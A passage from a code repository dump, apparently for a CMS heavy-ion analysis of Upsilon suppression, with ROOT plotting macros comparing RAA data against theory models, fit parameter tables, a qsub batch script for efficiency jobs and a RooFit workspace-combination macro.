Absorp_2S_err[50], Primordial_2S_err[50], Total_2S_err[50];\n float regen_l_2S[50], regen_h_2S[50], regen_mean_2S[50], regen_err_2S[50];\n for (int i=0; i<28; i++) {\n in_SBS1S >> N_part_1S[i] >> N_coll_1S[i] >> Absorp_l_1S[i] >> Primordial_l_1S[i] >> Total_l_1S[i] >> Absorp_h_1S[i] >> Primordial_h_1S[i] >> Total_h_1S[i];\n \n Absorp_1S[i] = (Absorp_l_1S[i] + Absorp_h_1S[i])/2;\n Primordial_1S[i] = (Primordial_l_1S[i] + Primordial_h_1S[i])/2;\n Total_1S[i] = (Total_l_1S[i] + Total_h_1S[i])/2;\n\tAbsorp_1S_err[i] = (Absorp_l_1S[i] - Absorp_h_1S[i])/2;\n\tPrimordial_1S_err[i] = (Primordial_l_1S[i] - Primordial_h_1S[i])/2;\n\tTotal_1S_err[i] = (Total_l_1S[i] - Total_h_1S[i])/2;\n\tregen_l_1S[i] = Total_l_1S[i] - Primordial_l_1S[i];\n\tregen_h_1S[i] = Total_h_1S[i] - Primordial_h_1S[i];\n\tregen_mean_1S[i] = (regen_l_1S[i] + regen_h_1S[i])/2;\n\tregen_err_1S[i] = (regen_l_1S[i] - regen_h_1S[i])/2;\n\tN_part_Err[i]=0;\n\n\tin_SBS2S >> N_part_2S[i] >> N_coll_2S[i] >> Absorp_l_2S[i] >> Primordial_l_2S[i] >> Total_l_2S[i] >> Absorp_h_2S[i] >> Primordial_h_2S[i] >> Total_h_2S[i];\n\n\tAbsorp_2S[i] = (Absorp_l_2S[i] + Absorp_h_2S[i])/2;\n\tPrimordial_2S[i] = (Primordial_l_2S[i] + Primordial_h_2S[i])/2;\n\tTotal_2S[i] = (Total_l_2S[i] + Total_h_2S[i])/2;\n\tAbsorp_2S_err[i] = (Absorp_l_2S[i] - Absorp_h_2S[i])/2;\n\tPrimordial_2S_err[i] = (Primordial_l_2S[i] - Primordial_h_2S[i])/2;\n\tTotal_2S_err[i] = (Total_l_2S[i] - Total_h_2S[i])/2;\n\tregen_l_2S[i] = Total_l_2S[i] - Primordial_l_2S[i];\n\tregen_h_2S[i] = Total_h_2S[i] - Primordial_h_2S[i];\n\tregen_mean_2S[i] = (regen_l_2S[i] + regen_h_2S[i])/2;\n\tregen_err_2S[i] = (regen_l_2S[i] - regen_h_2S[i])/2;\n }\n TGraphErrors* SBS_Absorp_1S = new TGraphErrors(28, N_part_1S, Absorp_1S, N_part_Err, Absorp_1S_err);\n TGraphErrors* SBS_Primordial_1S = new TGraphErrors(28, N_part_1S, Primordial_1S, N_part_Err, Primordial_1S_err);\n TGraphErrors* SBS_Total_1S = new TGraphErrors(28, N_part_1S, Total_1S, N_part_Err, Total_1S_err);\n TGraph* SBS_regen_1S = new TGraph(28, N_part_1S, regen_mean_1S);\n\n TGraphErrors* SBS_Absorp_2S = new TGraphErrors(28, N_part_2S, Absorp_2S, N_part_Err, Absorp_2S_err);\n TGraphErrors* SBS_Primordial_2S = new TGraphErrors(28, N_part_2S, Primordial_2S, N_part_Err, Primordial_2S_err);\n TGraphErrors* SBS_Total_2S = new TGraphErrors(28, N_part_2S, Total_2S, N_part_Err, Total_2S_err);\n TGraph* SBS_regen_2S = new TGraph(28, N_part_2S, regen_mean_2S);\n\n SBS_Total_1S->SetLineWidth(2);\n SBS_Total_2S->SetLineWidth(2);\n SBS_Total_1S->SetFillColorAlpha(kRed+1,0.4); //color1Saa\n SBS_Total_1S->SetFillStyle(1001);\n SBS_Total_2S->SetFillColorAlpha(kBlue+1,0.8); //color2Saa\n SBS_Total_2S->SetFillStyle(1001);\n \n SBS_Total_1S->Draw(\"3\");\n SBS_Total_2S->Draw(\"3\"); \n\n SBS_Absorp_1S->SetFillColor(kOrange-4);\n SBS_Absorp_1S->SetLineColor(kOrange-4);\n SBS_Absorp_1S->Draw(\"3\");\n\n TLegend *legR3 = new TLegend(0.29,0.68,0.55,0.81);\n legR3->SetBorderSize(0);\n legR3->SetTextSize(gTextSize-0.005);\n legR3->SetTextFont(42);\n legR3->SetLineColor(0);\n legR3->SetLineStyle(2);\n legR3->SetLineWidth(1);\n legR3->SetFillColor(0);\n legR3->SetFillStyle(0);\n // legR3->SetHeader(\"\");\n legR3->AddEntry(SBS_Total_1S,\"#varUpsilon(1S)\",\"f\");\n legR3->AddEntry(SBS_Total_2S,\"#varUpsilon(2S)\",\"f\");\n legR3->Draw();\n TLatex *NucAbs = new TLatex(200,0.85,\"Nuc. Abs.\");\n NucAbs->Draw();\n TLatex latexrappC;\n latexrappC.SetTextSize(gTextSize-0.005);\n latexrappC.SetTextFont(42);\n latexrappC.DrawLatex(40,1.5,\"Eur. Phys. J. A 48 (2012) 72\");\n } \n TGraphErrors *gcent1syst = new TGraphErrors(nCentBins_2014,nPart2014,RAA_1S_cent,centErr2014,RAA_1S_cents); //for fun\n gcent1syst->SetLineColor(color1Sraa);\n gcent1syst->SetFillStyle(0);\n gcent1syst->SetLineWidth(2);\n gcent1syst->SetMarkerSize(0);\n gcent1syst->Draw(\"2\");\n TGraphErrors *gcent1 = new TGraphErrors(nCentBins_2014,nPart2014,RAA_1S_cent,centnoErr,RAA_1S_cente); //for fun\n gcent1->SetMarkerColor(color1Sraa);\n gcent1->SetMarkerStyle(symbol1S);\n gcent1->SetMarkerSize(markerSize);\n\n TGraphErrors *gcent1circle = new TGraphErrors(nCentBins_2014,nPart2014,RAA_1S_cent,centnoErr,RAA_1S_cente);\n gcent1circle->SetMarkerStyle(symbol1Sc);\n gcent1circle->SetMarkerSize(markerSize);\n gcent1circle->SetLineColor(kBlack);\n gcent1circle->SetLineWidth(2);\n gcent1->Draw(\"pe\");\n gcent1circle->Draw(\"p\");\n // f4RaaCent->Draw(\"same\");\n gPad->RedrawAxis();\n TGraphErrors *gcent2syst = new TGraphErrors(nCentBins2S,nPart2,RAA_2S_cent,centErr2014,RAA_2S_cents); //for fun\n gcent2syst->SetLineColor(color2Sraa);\n gcent2syst->SetFillStyle(0);\n gcent2syst->SetLineWidth(2);\n gcent2syst->SetMarkerSize(0);\n gcent2syst->Draw(\"2\");\n TGraphErrors *gcent2 = new TGraphErrors(nCentBins2S,nPart2,RAA_2S_cent,centnoErr,RAA_2S_cente); //for fun\n\n gcent2->SetMarkerColor(color2Sraa);\n gcent2->SetMarkerStyle(symbol2S);\n gcent2->SetMarkerSize(markerSize);\n\n TGraphErrors *gcent2circle = new TGraphErrors(nCentBins2S,nPart2,RAA_2S_cent,centnoErr,RAA_2S_cente);\n gcent2circle->SetMarkerStyle(symbol2Sc);\n gcent2circle->SetMarkerSize(markerSize);\n gcent2circle->SetLineColor(kBlack);\n gcent2circle->SetLineWidth(2);\n gcent2->Draw(\"pe\");\n gcent2circle->Draw(\"p\");\n // f4RaaCent->Draw(\"same\");\n gPad->RedrawAxis();\n\n // TGraphErrors *gcent2 = new TGraphErrors(nCentBins2S,nPart2,RAA_2S_cent,centnoErr,RAA_2S_cente); //for fun\n\n // gcent2->SetMarkerColor(color2Sraa);\n // gcent2->SetMarkerStyle(symbol2S);\n // gcent2->SetMarkerSize(markerSize);\n\n \n TLegend *legend_RAAcent = new TLegend(0.1,0.42,120.88,0.55); \n //\n legend_RAAcent->SetTextSize(gTextSize-0.005); \n legend_RAAcent->SetFillStyle(0);\n legend_RAAcent->SetFillColor(0);\n legend_RAAcent->SetBorderSize(0);\n legend_RAAcent->SetTextFont(42);\n legend_RAAcent->AddEntry(gcent1,\"#varUpsilon(1S) \",\"pe\"); \n legend_RAAcent->AddEntry(gcent2,\"#varUpsilon(2S) \",\"pe\");\n\n // Cent. 0-100 %\n TLatex latexcentRaa;\n latexcentRaa.SetTextSize(gTextSize);\n latexcentRaa.SetTextFont(42);\n // latexcentRaa.DrawLatex(315,1.2,\"|y| < 2.4\");\n\n\n TBox *box1S = new TBox(390,1-syst1S_pp_glob,405,1+syst1S_pp_glob); \n box1S->SetFillColor(color1Sraa);\n box1S->Draw();\n TBox *box2S = new TBox(405,1-syst2S_pp_glob,420,1+syst2S_pp_glob); \n box2S->SetFillColor(color2Sraa);\n box2S->Draw();\n TBox *boxAA = new TBox(375,1-syst_aa_glob,390,1+syst_aa_glob); \n boxAA->SetFillStyle(0);\n boxAA->SetLineWidth(2);\n boxAA->SetLineColor(kBlack);\n boxAA->Draw();\n\n ///Doing the right-panel part here...\n cRaacent->cd();\n TPad *sec = new TPad(\"sec\",\"2nd TPad\",xfrac,0.,1.,1.);\n sec->SetRightMargin(gStyle->GetPadRightMargin()/(1.-xfrac));\n sec->SetLeftMargin(0);\n // sec->SetBottomMargin(gStyle->GetPadBottomMargin());\n // sec->SetTopMargin(gStyle->GetPadTopMargin());\n sec->SetFrameBorderMode(0);\n sec->SetBorderMode(0);\n sec->SetBorderSize(0);\n sec->Draw();\n sec->cd();\n \n haxesr->Draw();\n liner.Draw();\n TLatex tlr;\n tlr.SetTextSize(gTextSize*xfrac/(1.1-xfrac));\n // tlr.SetTextFont(42);\n tlr.DrawLatex(0.55,1.15,\"Cent.\");\n tlr.DrawLatex(0.48,1.1,\"0-100%\");\n \n float x[1] = {0.8};\n float x1[1] = {1};\n float xe[1]= {0.3};\n float x0[1] = {centnoErr[0]};\n\n float y1[1] = {RAA_1S_tot};\n float y1e[1] = {RAA_1S_tote};\n float y1s[1] = {static_cast<float>(RAA_1S_tot*sqrt(pow(RAA_1S_tots,2)+pow(syst1S_raa_tot_pp,2)))};\n\n float y2[1] = {RAA_2S_tot};\n float y2e[1] = {RAA_2S_tote};\n float y2s[1] = {static_cast<float>(RAA_2S_tot*sqrt(pow(RAA_2S_tots,2)+pow(syst2S_raa_tot_pp,2)))};\n\n TGraphErrors *gtot1syst = new TGraphErrors(1,x1,y1,xe,y1s); //for fun\n gtot1syst->SetLineColor(color1Sraa);\n gtot1syst->SetFillStyle(0);\n gtot1syst->SetLineWidth(2);\n gtot1syst->SetMarkerSize(0);\n gtot1syst->Draw(\"2\");\n TGraphErrors *gtot1 = new TGraphErrors(1,x1,y1,x0,y1e); //for fun\n\n gtot1->SetMarkerColor(color1Sraa);\n gtot1->SetMarkerStyle(symbol1S);\n gtot1->SetMarkerSize(markerSize);\n\n TGraphErrors *gtot1circle = new TGraphErrors(1,x1,y1,x0,y1e);\n gtot1circle->SetMarkerStyle(symbol1Sc);\n gtot1circle->SetMarkerSize(markerSize);\n gtot1circle->SetLineColor(kBlack);\n gtot1circle->SetLineWidth(2);\n gtot1->Draw(\"pe\");\n gtot1circle->Draw(\"p\");\n // f4RaaTot->Draw(\"same\");\n gPad->RedrawAxis();\n \n TGraphErrors *gtot2syst = new TGraphErrors(1,x,y2,xe,y2s); //for fun\n gtot2syst->SetLineColor(color2Sraa);\n gtot2syst->SetFillStyle(0);\n gtot2syst->SetLineWidth(2);\n gtot2syst->SetMarkerSize(0);\n gtot2syst->Draw(\"2\");\n TGraphErrors *gtot2 = new TGraphErrors(1,x,y2,x0,y2e); //for fun\n\n gtot2->SetMarkerColor(color2Sraa);\n gtot2->SetMarkerStyle(symbol2S);\n gtot2->SetMarkerSize(markerSize);\n\n TGraphErrors *gtot2circle = new TGraphErrors(1,x,y2,x0,y2e);\n gtot2circle->SetMarkerStyle(symbol2Sc);\n gtot2circle->SetMarkerSize(markerSize);\n gtot2circle->SetLineColor(kBlack);\n gtot2circle->SetLineWidth(2);\n gtot2->Draw(\"pe\");\n gtot2circle->Draw(\"p\");\n // f4RaaTot->Draw(\"same\");\n gPad->RedrawAxis();\n\n TArrow *arrow = new TArrow(1.55,0.15,1.55,0.,0.03,\"|->\");\n arrow->SetLineColor(color3Spp);\n arrow->SetLineStyle(1);\n arrow->SetLineWidth(2);\n arrow->Draw();\n \n main->cd();\n legend_RAAcent->AddEntry(arrow,\"#varUpsilon(3S) \",\"l\");\n TArrow *arrowl = new TArrow(296,0.683,296,0.625,0.025,\"|->\");\n arrowl->SetLineColor(color3Spp);\n arrowl->SetLineStyle(1);\n arrowl->SetLineWidth(2);\n \n if(plug!=1){arrowl->Draw(); }\n\n main->Draw();\n\n // cRaacent->GetFrame()->Draw();\n if (plug==0){\n CMS_lumi(main,103,33);\n cRaacent->cd();\n cRaacent->Update();\n cRaacent->RedrawAxis();\n //legend_RAAcent->Draw();\n cRaacent->SaveAs(basedir2 + TString(\"/RAA_Cent_Strickland.pdf\")); \n cRaacent->SaveAs(basedir2 + TString(\"/RAA_Cent_Strickland.png\")); \n cRaacent->SaveAs(basedir1 + TString(\"/pdf/RAA_Cent_Strickland.pdf\"));\n cRaacent->SaveAs(basedir1 + TString(\"/png/RAA_Cent_Strickland.png\"));\n }else if (plug==1){\n CMS_lumi(main,103,33);\n cRaacent->cd();\n cRaacent->Update();\n cRaacent->RedrawAxis();\n legend_RAAcent->SetX1(0.3);\n legend_RAAcent->SetX2(0.5);\n legend_RAAcent->SetY1(0.62);\n legend_RAAcent->SetY2(0.81);\n legend_RAAcent->Draw();\n cRaacent->SaveAs(basedir2 + TString(\"/RAA_Cent_Rapp.pdf\")); \n cRaacent->SaveAs(basedir2 + TString(\"/RAA_Cent_Rapp.png\")); \n cRaacent->SaveAs(basedir1 + TString(\"/pdf/RAA_Cent_Rapp.pdf\"));\n cRaacent->SaveAs(basedir1 + TString(\"/png/RAA_Cent_Rapp.png\"));\n }else if (plug==2){\n CMS_lumi(main,103,33);\n //cRaacent->cd();\n //cRaacent->Update();\n //cRaacent->RedrawAxis();\n // arrowl->Draw();\n TLegend *legend_try = new TLegend(0.75,0.42,0.88,0.55); \n //\n legend_try->SetTextSize(gTextSize-0.005); \n legend_try->SetFillStyle(0);\n legend_try->SetFillColor(0);\n legend_try->SetBorderSize(0);\n legend_try->SetTextFont(42);\n legend_try->AddEntry(gcent1,\"#varUpsilon(1S) \",\"pe\"); \n legend_try->AddEntry(gcent2,\"#varUpsilon(2S) \",\"pe\");\n legend_try->AddEntry(arrow,\"#varUpsilon(3S) \",\"\");\n legend_try->Draw();\n cRaacent->SaveAs(basedir2 + TString(\"/RAA_Cent.pdf\")); \n cRaacent->SaveAs(basedir2 + TString(\"/RAA_Cent.png\")); \n cRaacent->SaveAs(basedir1 + TString(\"/pdf/RAA_Cent.pdf\"));\n cRaacent->SaveAs(basedir1 + TString(\"/png/RAA_Cent.png\"));\n }\n}\n\n\nfloat computeRatio(float x, float y) \n{\n // pass the yield (x), and Acc*eff (y), and computes the corrected yield. then divide by lumi and delta rapidity to get the cross section. in case of pbpb, divide by taa*nMB to get the nColl scaled invariant yield.\n float ratio;\n ratio = x/y;\n \n return ratio;\n}\n \nfloat computeRatioError(float x, float y, float xerr, float yerr) \n{\n //propagate the error of the ratio\n float err = (xerr*xerr)/(x*x) + (yerr*yerr)/(y*y);\n \n // + 2.*(x.getError()*y.getError())/(x.getVal()*y.getVal())*correlation; // can be needed in case of correlations.\n \n return fabs(computeRatio(x,y))*sqrt(err);\n}\n\nvoid plotComparisons(bool exp, int plug)\n{\n // let's hope it works.\n // First bool : th or exp comparisons\n // second bool : switch between cases:\n /// - if exp=1 plug=0: plot ALICE comparisons (rap and centrality)\n /// - if exp=1 plug=1: STAR comparisons (centrality)\n /// - if exp=1 plug=2: ALICE + jpsi comparison (pt, rap)\n /// - if exp=0 plug=0: Strickland plots\n /// - if exp=0 plug=1: Rapp plots\n /// - if exp=0 plug=2: nothing happens.\n setTDRStyle();\n gStyle->SetPadRightMargin(0.04); //reverting style here (otherwise Npart=400 eats the margin)\n TCanvas *crcth = new TCanvas(\"crcth\",\"Canvas Raa Centrality \");\n crcth->cd();\n TPad *main = new TPad(\"main\",\"Main TPad\",0.,0.,xfrac,1.);\n main->SetLeftMargin(gStyle->GetPadLeftMargin()/xfrac);\n main->SetRightMargin(0);\n main->SetFrameBorderMode(0);\n main->SetBorderMode(0);\n main->SetBorderSize(0);\n main->Draw();\n main->cd();\n TLine line, liner;\n TH1F *haxes = new TH1F(\"haxesl\",\"haxesl\",1,-10,420);\n haxes->GetXaxis()->SetTickLength(gStyle->GetTickLength(\"X\")/xfrac);\n // haxes->GetYaxis()->SetTickLength(gStyle->GetTickLength(\"Y\")*xfrac);\n line = TLine(0,1,420,1);\n haxes->GetYaxis()->SetRangeUser(0,1.7);\n TH1F *haxesr = new TH1F(\"haxesr\",\"haxesr\",1,0,2);\n haxesr->GetXaxis()->SetTickLength(0);\n haxesr->GetYaxis()->SetTickLength(gStyle->GetTickLength(\"Y\")/(1.1-xfrac));\n haxesr->GetXaxis()->SetTitleSize(0);\n haxesr->GetXaxis()->SetLabelSize(0);\n haxesr->GetYaxis()->SetRangeUser(0,1.6);\n liner = TLine(0,1,2,1);\n haxes->GetYaxis()->SetTitle(\"R_{AA}\");\n haxes->GetXaxis()->SetTitle(\"#LTN_{part}#GT\");\n haxes->GetXaxis()->SetTitleSize(gTextSize+0.01);\n haxes->GetYaxis()->SetTitleSize(gTextSize+0.015);\n haxes->GetXaxis()->CenterTitle(kTRUE);\n haxes->GetXaxis()->SetTitleOffset(1.06);\n haxes->Draw();\n line.Draw();\n}\n" }, { "alpha_fraction": 0.2868362069129944, "alphanum_fraction": 0.5265519618988037, "avg_line_length": 43.45000076293945, "blob_id": "681fc4eaafc9e2084277bbfb2c14bdfcca7c47e4", "content_id": "7f01864bcbcb6cfad7079e310f4fcc937fd1ffe4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 2674, "license_type": "no_license", "max_line_length": 88, "num_lines": 60, "path": "/fitting/bkgTable_PbPb.h", "repo_name": "nfilipov/HIN-15-001", "src_encoding": "UTF-8", "text": "\n#define nData 9\n char* choseSampleLegend[nData] = {\"\",\n\t\t\t\t\t\"pp #sqrt{s} = 7 TeV\",\n\t\t\t\t\t\"pp #sqrt{s} = 7 TeV\",\n\t\t\t\t\t\"PbPb #sqrt{s_{NN}} = 2.76 TeV (pp reco TT)\",\n\t\t\t\t\t\"PbPb #sqrt{s_{NN}} = 2.76 TeV (pp reco GG)\",\n\t\t\t\t\t\"PbPb #sqrt{s_{NN}} = 2.76 TeV (HI reco GG)\",\n\t\t\t\t\t\"PbPb #sqrt{s_{NN}} = 2.76 TeV (Regit)\", //was #3 is now #6\n\t\t\t\t\t\"pp #sqrt{s} = 2.76 TeV\", ////\t\"\", pPb #sqrt{s_{NN}} = 5.02 TeV\n\t\t\t\t\t\"Pythia+EvtGen+PHOTOS\"}; //CMS simulation, pp #sqrt{s} = 2.76 TeV\n\n char* choseSampleLumi[nData] = {\"\",\n\t\t\t\t \"L_{int} = 621 pb^{-1}\",\n\t\t\t\t \"L_{int} = 966 pb^{-1}\",\n\t\t\t\t \"L_{int} = xxx #mub^{-1}\",\n\t\t\t\t \"L{int} = xxx #mub^{-1}\",\n\t\t\t\t \"L_{int} = 150 #mub^{-1}\",\n\t\t\t\t \"L_{int} = 166 #mub^{-1}\",\n\t\t\t\t \"L_{int} = 5.41 pb^{-1} \", ///////L_{int} = 18.4 pb^{-1}\n\t\t\t\t \"\"};\n\n\n// for pbpb!\nfloat turnOn_minPt[10]={0,0,1.5,1.4,3,0,0,1.5,0,0};\nfloat width_minPt[10]= {0.2,1.,0.7,3.2,7,2.51,0.6,0.,1,0.8};\nfloat decay_minPt[10]= {0,0,3,6,0,0,0,0,0,0};\nfloat turnOn_maxPt[10]={9.6,9.1,9,2.8,9,9,9,8.9,8.6,8.6};\nfloat width_maxPt[10]= {3.,9.,4.5,7.2,18,9,15,6,10,7.};\nfloat decay_maxPt[10]= {5.,15.,8,9.,25,25,10,14,10,10.};\n/* //pt4 */\n/* float turnOn_minPt[10]={0,0,0,1.4,3,0,0,1.5,0,0}; */\n/* float width_minPt[10]= {0.2,0.2,0.7,3.2,7,2.51,0.6,0.,5,0.8}; */\n/* float decay_minPt[10]= {0,0,0,6,0,0,0,0,0,0}; */\n/* float turnOn_maxPt[10]={9.2,9,9,2.8,9,9,9,8.9,5,8.6}; */\n/* float width_maxPt[10]= {3.,9.3,9,7.2,18,9,15,6,50,7.}; */\n/* float decay_maxPt[10]= {8.,12.5,8,9.,25,10,10,14,35,10.}; */\n\nfloat turnOn_minRap[9]={0,3,3,3,3,0,0,1.5,0.5};\nfloat width_minRap[9]= {0.2,0.2,0.2,0.8,0.8,0.5,0.6,1.2,0.4};\nfloat decay_minRap[9]= {0,0,0,0.5,0.5,0.5,0,0,0};\nfloat turnOn_maxRap[9]={8.6,8.5,8.8,8.8,8.8,8.8,8.8,8.8,8.8};\nfloat width_maxRap[9]= {3.,9.,9,9,4,9,15,6,20};\nfloat decay_maxRap[9]= {11.,10.,10,8,8,10,13,14,8};\n\n\nfloat turnOn_minCent[13]={0,0,0,0,0,0,0,1.5,0.5,0,0,0,0};\nfloat width_minCent[13]= {0.2,0.2,1,1,1,1.5,0.6,0.8,0.,0.8,0.8,0.8,0.8};\nfloat decay_minCent[13]= {0,0,0,0,0,0,0,0,0,0,0,0,0};\nfloat turnOn_maxCent[13]={8,8.5,8.5,8.5,8.5,8.5,9,8,8.6,8.6,8.6,8.6,8.6};\nfloat width_maxCent[13]= {8.,9.,9,9,9,9,15,6,6,8.,6.,7,8};\nfloat decay_maxCent[13]= {12.,8.,8,8,8,10,10,14,25,10.,8.,8,8};\n\nfloat npow_min[13]={1,1,3,1.01,1.01,1.01,1,3.02,1,1,1,1,1};\nfloat alpha_min[13]= {0.05,0.2,0.15,0.15,0.79,0.15,0.15,0.2,0.2,0.2,0.2,0.2,0.15};\nfloat sigma_min[13]= {0.02,0.02,0.02,0.02,0.02,0.02,0.02,0.02,0.02,0.02,0.02,0.02,0.02};\n\n\nfloat npow_max[13]={55,55,55,12,12,6,55,55,55,55,55,55,55};\nfloat alpha_max[13]= {10.,10.,10,10,10,10,5,20,7,10,10,10,10};\nfloat sigma_max[13]= {0.3,0.3,0.3,0.3,0.3,0.3,0.3,0.3,0.3,0.3,0.3,0.3,0.3};\n \n \n" }, { "alpha_fraction": 0.5907407402992249, "alphanum_fraction": 0.6064814925193787, "avg_line_length": 34.60439682006836, "blob_id": "bfa49ec0d0aa815d97d37e4f2b18258f6dcdb727", "content_id": "c2eccabf41de0c7c432235ea0552a362b32e48eb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 3240, "license_type": "no_license", "max_line_length": 159, "num_lines": 91, "path": "/acceptance_efficiency/doTPvars_batch.sh", "repo_name": "nfilipov/HIN-15-001", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\nbasedir=/home/llr/cms/chapon/data_CMS/upsilon/effs/effs_20160617_syst\nmacro=/home/llr/cms/chapon/data_CMS/upsilon/effs/doEff.C\nbatchscript=/home/llr/cms/chapon/data_CMS/upsilon/effs/runbatch.sh\n\ncoll=pbpb\n\nfor ns in 1 2; do\n for binning in 1 2; do\n dirname=\"effs_Y${ns}S_bins${binning}_${coll}\"\n\n # for i in `seq 0 100` -1 -2; do\n for i in -1 -2; do\n echo $i\n sleep 1\n dirnamefull=${basedir}/${dirname}/results_muidtrg_$i\n mkdir -p $dirnamefull\n cd ${dirnamefull}\n if [ $ns -eq 1 ]; then\n thefiles=\"/home/llr/cms/chapon/data_CMS/upsilon/effs/trees/Upsi_Histos_Pyquen1SPbPbMC_*.root\"\n else \n thefiles=\"/home/llr/cms/chapon/data_CMS/upsilon/effs/trees/Upsi_Histos_Pyquen2SPbPbMC_*.root\"\n fi\n # prepare for batch\n export dirnamefull=$dirnamefull\n export macro=$macro\n export thefiles=$thefiles\n export ns=$ns\n export ispbpb=\"true\"\n export binning=$binning\n export imuidtrg=$i\n export ista=0\n qsub -k oe -q cms@llrt3 -N ${dirname}_results_muidtrg_$i -V -o $dirnamefull -v dirnamefull,macro,thefiles,ns,ispbpb,binning,imuidtrg,ista $batchscript\n cd -\n\n dirnamefull=${basedir}/${dirname}/results_sta_$i\n mkdir -p $dirnamefull\n cd ${dirnamefull}\n export imuidtrg=0\n export ista=$i\n export dirnamefull=$dirnamefull\n qsub -k oe -q cms@llrt3 -N ${dirname}_results_sta_$i -V -o $dirnamefull -v dirnamefull,macro,thefiles,ns,ispbpb,binning,imuidtrg,ista $batchscript\n cd -\n done\n done\ndone\n\ncoll=pp\n\nfor ns in 1 2 3; do\n for binning in 1 2; do\n dirname=\"effs_Y${ns}S_bins${binning}_${coll}\"\n\n # for i in `seq 0 100` -1 -2; do\n for i in -1 -2; do\n echo $i\n sleep 1\n dirnamefull=${basedir}/${dirname}/results_muidtrg_$i\n mkdir -p $dirnamefull\n cd ${dirnamefull}\n if [ $ns -eq 1 ]; then\n thefiles=\"/home/llr/cms/chapon/data_CMS/upsilon/effs/trees/Upsi_Histos_ppNoCutMC1S_fixedFSR.root\"\n elif [ $ns -eq 2 ]; then\n thefiles=\"/home/llr/cms/chapon/data_CMS/upsilon/effs/trees/Upsi_Histos_ppNoCutMC2S_ok.root\"\n else \n thefiles=\"/home/llr/cms/chapon/data_CMS/upsilon/effs/trees/Upsi_Histos_ppNoCutMC3S_ok.root\"\n fi\n # prepare for batch\n export dirnamefull=$dirnamefull\n export macro=$macro\n export thefiles=$thefiles\n export ns=$ns\n export ispbpb=\"false\"\n export binning=$binning\n export imuidtrg=$i\n export ista=0\n qsub -k oe -q cms@llrt3 -N ${dirname}_results_muidtrg_$i -V -o $dirnamefull -v dirnamefull,macro,thefiles,ns,ispbpb,binning,imuidtrg,ista $batchscript\n cd -\n\n dirnamefull=${basedir}/${dirname}/results_sta_$i\n mkdir -p $dirnamefull\n cd ${dirnamefull}\n export imuidtrg=0\n export ista=$i\n export dirnamefull=$dirnamefull\n qsub -k oe -q cms@llrt3 -N ${dirname}_results_sta_$i -V -o $dirnamefull -v dirnamefull,macro,thefiles,ns,ispbpb,binning,imuidtrg,ista $batchscript\n cd -\n done\n done\ndone\n" }, { "alpha_fraction": 0.6116678714752197, "alphanum_fraction": 0.6304581165313721, "avg_line_length": 37.013607025146484, "blob_id": "0d6a9d5ae656c28b3031d65fa06c71424b7ce3ac", "content_id": "a152f19816429db0cd4ed227e8f7b16a81eda798", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 5588, "license_type": "no_license", "max_line_length": 110, "num_lines": 147, "path": "/upperlimit/upperlimit/test_combine.C", "repo_name": "nfilipov/HIN-15-001", "src_encoding": "UTF-8", "text": "#include \"functions.C\"\n#include \"RooGlobalFunc.h\"\n#include \"RooWorkspace.h\"\n\nRooWorkspace* test_combine(const char* name_pbpb=\"fitresult.root\", const char* name_pp=\"fitresult_pp.root\")\n{\n // const char *poiname=\"N_{#Upsilon(3S)}\";\n TFile *f = new TFile(name_pbpb) ;\n TFile *f_pp = new TFile(name_pp) ;\n\n // Retrieve workspace from file\n RooWorkspace* ws = (RooWorkspace*) f->Get(\"ws\");\n RooWorkspace* ws_pp = (RooWorkspace*) f_pp->Get(\"ws\");\n\n // RooRealVar *theVar; \n RooDataSet *data; RooAbsPdf *pdf;\n RooRealVar *theVar_pp; RooDataSet *data_pp; RooAbsPdf *pdf_pp;\n\n // theVar = ws->var(poiname);\n // pdf = ws->pdf(\"pdf\");\n data =(RooDataSet *) ws->data(\"data\");\n pdf_pp = ws_pp->pdf(\"pdf\");\n data_pp =(RooDataSet *) ws_pp->data(\"data\");\n\n\tRooCategory dataCat(\"dataCat\", \"dataCat\");\n\tdataCat.defineType(\"hi\");\n\tdataCat.defineType(\"pp\");\n\n\tRooRealVar muppt(\"muPlusPt\" ,\"#mu+ pt\",2,20,\"GeV/c\"); \n\tRooRealVar mumpt(\"muMinusPt\",\"#mu- pt\",2,20,\"GeV/c\"); \n\tRooRealVar upsPt(\"upsPt\",\"p_{T}(#Upsilon)\",0.,\"GeV/c\");\n\tRooRealVar vProb(\"vProb\",\"vProb\",0.05,1);\n\t// RooRealVar upsEta(\"upsEta\",\"#eta(#Upsilon)\",0.,\"\");\n\tRooRealVar upsRapidity(\"upsRapidity\", \"upsRapidity\", 0.);\n\tRooCategory QQsign(\"QQsign\", \"QQsign\");\n\tQQsign.defineType(\"PlusMinus\", 0);\n\tQQsign.defineType(\"PlusPlus\", 1);\n\tQQsign.defineType(\"MinusMinus\", 2);\n\tRooRealVar Centrality(\"Centrality\", \"Centrality\", 0.);\n\tRooRealVar * mass = ws->var(\"invariantMass\");\n\tif (!mass) {\n\t\tmass = new RooRealVar(\"invariantMass\", \"#mu#mu mass\", mmin, mmax, \n\t\t\t\t\"GeV/c^{2}\");\n\t}\n\n\tRooArgSet cols(*mass, muppt, mumpt, upsPt, vProb, upsRapidity, QQsign, Centrality);\n\n\tRooDataSet data_combo(\"data\", \"data\", cols, RooFit::Index(dataCat),\n/*Only for track rotation*/\n\t\tRooFit::Import(\"hi\", *data), RooFit::Import(\"pp\", *data_pp));\n\n RooWorkspace *wcombo = new RooWorkspace(\"wcombo\",\"workspace for PbPb + pp\");\n wcombo->import(data_combo);\n\twcombo->import(*pdf_pp, RooFit::RenameAllNodes(\"pp\"),\n\t\t\tRooFit::RenameAllVariablesExcept(\"pp\", \n\t\t\t\t\"npow,invariantMass,\"\n\t\t\t\t//\"prior,\"\n\t\t\t\t//\"mean,\"\n\t\t\t\t//\"turnOn,\"\n\t\t\t\t\"f23,f3o2,\"\n\t\t\t\t\"x23,x3o2,\"\n\t\t\t\t\"alpha,\"\n\t\t\t\t\"sigma1\"\n\t\t\t\t), \n\t\t\tRooFit::RecycleConflictNodes());\n\n // // create the combined variable\n // RooRealVar* n3shi = wcombo->var(\"N_{#Upsilon(3S)}_hi\");\n // RooRealVar* n3spp = wcombo->var(\"N_{#Upsilon(3S)}_pp\");\n // RooFormulaVar x3raw(\"x3raw\",\"x3raw\",\"@0/@1\",RooArgList(*n3shi,*n3spp));\n // cout << x3raw.getVal() << endl;\n // wcombo->import(x3raw);\n // wcombo->Print();\n\n 